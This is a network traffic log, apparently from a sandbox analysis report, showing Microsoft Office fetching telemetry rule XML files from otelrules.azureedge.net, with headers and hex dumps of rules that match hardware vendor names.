2024-11-21 02:08:31 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020831Z-178bfbc474bw8bwphC1NYC38b400000000gg00000000swsp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:31 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:31 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d1e74057-c01e-0014-6563-3ba6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020831Z-178bfbc474btvfdfhC1NYCa2en00000000xg00000000cnwb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:31 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:33 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:33 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020833Z-178bfbc474b9fdhphC1NYCac0n00000000sg00000000de2u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:33 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:33 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:33 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020833Z-1777c6cb754vxwc9hC1TEBykgw0000000ad000000000hqvu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:33 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:33 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:33 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:33 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020833Z-1777c6cb7549j9hhhC1TEBzmcc0000000aeg0000000023xy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:33 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:33 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:33 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:33 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 8189730a-201e-0003-216a-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020833Z-178bfbc474bbcwv4hC1NYCypys00000000p000000000ncf6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:33 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:33 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:33 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:33 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 8b710333-301e-0020-767a-3b6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020833Z-178bfbc474bv7whqhC1NYC1fg400000000t000000000ryr4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:33 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:35 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:36 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 2b92647c-c01e-00a2-646f-3b2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020835Z-1777c6cb754mrj2shC1TEB6k7w0000000agg00000000n2n6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:36 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:35 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 20c6f849-701e-005c-2e61-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020835Z-178bfbc474bgvl54hC1NYCsfuw00000000w0000000005u0h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:36 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:35 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:36 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:35 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 4ec414f5-001e-0046-5fa0-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020835Z-r1d97b99577ndm4rhC1TEBf0ps00000009xg000000001sq1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:36 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:35 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 367ebca4-601e-0070-6762-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020835Z-178bfbc474bfw4gbhC1NYCunf400000000wg000000006re1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:36 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:35 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:36 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:35 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 947c7cf8-001e-00a2-018c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020835Z-r1d97b99577dd2gchC1TEBz5ys00000009f000000000pfg9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:36 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 